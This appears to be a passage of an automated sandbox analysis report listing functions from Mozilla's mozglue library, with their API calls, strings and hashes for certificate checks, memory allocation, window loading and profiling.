Instruction ID: 60ab4c21882f911ea96406ee3c7f832ca4e2b43e6892a7db4caf6f5c03fe2e0c
Opcode Fuzzy Hash: cc93d76197843f4d4f89b9a2d8388e7f9785fe103ce634df2be2cdc47f1c13e9
Instruction Fuzzy Hash: 98A2B071A083808FC725CF29C49079FB7E5BFC9314F548A2DE89A97751DB709909CB8A

Function 6C5E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5E6D26

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5E6D73
free.MOZGLUE(00000000), ref: 6C5E6D80
CertGetNameStringW.CRYPT32 ref: 6C5E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5E6E34
CreateFileW.KERNEL32 ref: 6C5E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5E7103
free.MOZGLUE(00000000), ref: 6C5E7153
CloseHandle.KERNEL32(?), ref: 6C5E7176
__Init_thread_footer.LIBCMT ref: 6C5E7209
__Init_thread_footer.LIBCMT ref: 6C5E723A
__Init_thread_footer.LIBCMT ref: 6C5E726B
__Init_thread_footer.LIBCMT ref: 6C5E729C
__Init_thread_footer.LIBCMT ref: 6C5E72DC
__Init_thread_footer.LIBCMT ref: 6C5E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E73C2
VerSetConditionMask.NTDLL ref: 6C5E73F3
VerSetConditionMask.NTDLL ref: 6C5E73FF
VerSetConditionMask.NTDLL ref: 6C5E7406
VerSetConditionMask.NTDLL ref: 6C5E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E741A
moz_xmalloc.MOZGLUE(?), ref: 6C5E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5E7598
free.MOZGLUE(00000000), ref: 6C5E75AC

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

(, xrefs: 6C5E768A
wintrust.dll, xrefs: 6C5E72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C5E72C8
SHA256, xrefs: 6C5E6EC0

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction ID: 7c3440adac99b1014c8e91628bc8a29a74e6f8d9b40e64efdb6c5a79ba706afd
Opcode Fuzzy Hash: 46b0d8a20bf22f41d27e7427676b167bdc7c16887e893a36cf0e489ee3e3d052
Instruction Fuzzy Hash: 515207B1A003159FEB21DF25CC84BAA77B8FF4A344F104599E909A7641DB70AF84CF99

Function 6C606FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C607019
LeaveCriticalSection.KERNEL32(6C65E7DC), ref: 6C607061
EnterCriticalSection.KERNEL32(?), ref: 6C6071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C60721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C60723E
EnterCriticalSection.KERNEL32(?), ref: 6C60726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C60733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C60961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C609622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C609642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C60964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6096DB
AcquireSRWLockExclusive.KERNEL32(6C65E804), ref: 6C609747
GetSystemInfo.KERNEL32(?), ref: 6C609792
__Init_thread_footer.LIBCMT ref: 6C6097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C65E810,00000040), ref: 6C6097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E7B8,00001388), ref: 6C609838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E744,00001388), ref: 6C60984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E784,00001388), ref: 6C609874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E7DC,00001388), ref: 6C609895

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C609933, 6C609A33, 6C609A4E
MALLOC_OPTIONS, xrefs: 6C6097CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C609BF4
<jemalloc>, xrefs: 6C609B33, 6C609BE3
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C609993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6099D2
MOZ_CRASH(), xrefs: 6C609B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6099BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6099A8
Compile-time page size does not divide the runtime one., xrefs: 6C609B38

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: ed805ff0cc3e0611910feb954d43a019aa357df1dd9ecd3b12282856c6b3f33c
Instruction ID: cee2769924e0d230208d87a253c6d74493600f0d0769614108d3646ee763cb30
Opcode Fuzzy Hash: ed805ff0cc3e0611910feb954d43a019aa357df1dd9ecd3b12282856c6b3f33c
Instruction Fuzzy Hash: F6538171B057018FD708CF29C680615FBE1BF89328F29C66DE869AB7A1D771E841CB85

Function 6C610DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C610F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C610F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C610FB7
EnterCriticalSection.KERNEL32(?), ref: 6C610FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C611031
LeaveCriticalSection.KERNEL32(?), ref: 6C6110D0
EnterCriticalSection.KERNEL32(?), ref: 6C61117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C611C39
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C613391
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C6133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C613431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C613559, 6C61382D, 6C613848
MALLOC_OPTIONS, xrefs: 6C6135FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C613A02
<jemalloc>, xrefs: 6C613941, 6C6139F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C613793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6137D2
MOZ_CRASH(), xrefs: 6C613950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6137BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6137A8
Compile-time page size does not divide the runtime one., xrefs: 6C613946

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction ID: ee184e266e5a633bb6b8285f9655a7a36ec9a2c6b824ebc70682003e8ed1328d
Opcode Fuzzy Hash: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction Fuzzy Hash: 32539F71A097018FC704CF2DC580615FBE1BF8A329F29C66DE86A9BB91D771E841CB85

Function 6C6355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C60E1A5), ref: 6C635606
LoadLibraryW.KERNEL32(gdi32,?,6C60E1A5), ref: 6C63560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C635633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C63563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C63566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C63567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C635696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C635716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C63572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C635748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C635761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C63577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C635793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6357FF

Strings

GetDpiForWindow, xrefs: 6C635690
DeleteObject, xrefs: 6C6357F9
StretchDIBits, xrefs: 6C6357CC
FillRect, xrefs: 6C635729
CreateSolidBrush, xrefs: 6C6357E4
SetWindowPos, xrefs: 6C6356F7
gdi32, xrefs: 6C63560A
LoadIconW, xrefs: 6C63575B
EnableNonClientDpiScaling, xrefs: 6C635666
GetMonitorInfoW, xrefs: 6C6357A2
MonitorFromWindow, xrefs: 6C63578D
GetSystemMetricsForDpi, xrefs: 6C635677
AreDpiAwarenessContextsEqual, xrefs: 6C635637
SetWindowLongPtrW, xrefs: 6C6357B7
CreateWindowExW, xrefs: 6C6356C5
ReleaseDC, xrefs: 6C635742
LoadCursorW, xrefs: 6C635774
RegisterClassW, xrefs: 6C6356AC
GetWindowDC, xrefs: 6C635710
GetThreadDpiAwarenessContext, xrefs: 6C63562D
ShowWindow, xrefs: 6C6356DE
user32, xrefs: 6C635601

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction ID: 5a114312d1eab6c3c3a2e08aa082ea16a4d92e93be041af1a7d9ab09ee703649
Opcode Fuzzy Hash: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction Fuzzy Hash: 805175707113239BDB01DF369D849263AF8AB46385FB4A425AD66E3A01EF74C901CF6D

Function 6C6334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EE2

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6361DD
Part of subcall function 6C636180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C63622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634157

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C636250
Part of subcall function 6C636180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C636292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C63484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634896
free.MOZGLUE ref: 6C63489F

Strings

, xrefs: 6C634CD2

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction ID: 2ca07b900b94d151ac8b36b786330af89ac69a530e645b770ee4edcab2a2f014
Opcode Fuzzy Hash: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction Fuzzy Hash: ECF24D74908780CFC725CF29C08469AFBF1FF8A318F119A5ED98997711DB729886CB46

Function 6C61F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61F09B

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C61F0AC

Part of subcall function 6C5F5C50: GetTickCount64.KERNEL32 ref: 6C5F5D40
Part of subcall function 6C5F5C50: EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C61F0BE

Part of subcall function 6C5F5C50: __aulldiv.LIBCMT ref: 6C5F5DB4
Part of subcall function 6C5F5C50: LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C61F155
GetCurrentThreadId.KERNEL32 ref: 6C61F1E0
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F1ED
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F212
GetCurrentThreadId.KERNEL32 ref: 6C61F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C61F248
GetCurrentThreadId.KERNEL32 ref: 6C61F2AE
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F2BB
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F2F8

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F350
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F35D
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F381
GetCurrentThreadId.KERNEL32 ref: 6C61F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F3A0
GetCurrentThreadId.KERNEL32 ref: 6C61F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F491

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C61F3CF

Part of subcall function 6C61F070: GetCurrentThreadId.KERNEL32 ref: 6C61F440
Part of subcall function 6C61F070: AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F44D
Part of subcall function 6C61F070: ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C61F4A8
GetCurrentThreadId.KERNEL32 ref: 6C61F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F561
GetCurrentThreadId.KERNEL32 ref: 6C61F577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F585
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C61F3A8
[I %d/%d] profiler_resume, xrefs: 6C61F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C61F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C61F56A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: d0afb06a24a1a72330d96354136d86fd8f4030528267a6fe6b0c017923cc4682
Instruction ID: c21f4e4d74d6fa5a5b77c59357b0d40ce56b7bebe93a2f6770d04f0bc47f1392
Opcode Fuzzy Hash: d0afb06a24a1a72330d96354136d86fd8f4030528267a6fe6b0c017923cc4682
Instruction Fuzzy Hash: 79D1F5317082009FDB04DF6AD4847AA77F4AF87369FA44619E95593F82DB7048058BAF

Function 6C5E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E671C
GetCurrentProcess.KERNEL32 ref: 6C5E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E672F
GetCurrentProcess.KERNEL32 ref: 6C5E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5E6A80
GetSystemInfo.KERNEL32(?), ref: 6C5E6ABE
__Init_thread_footer.LIBCMT ref: 6C5E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AF7

Strings

nvdxgiwrap.dll, xrefs: 6C5E6513
user32.dll, xrefs: 6C5E6526
_etoured.dll, xrefs: 6C5E64ED
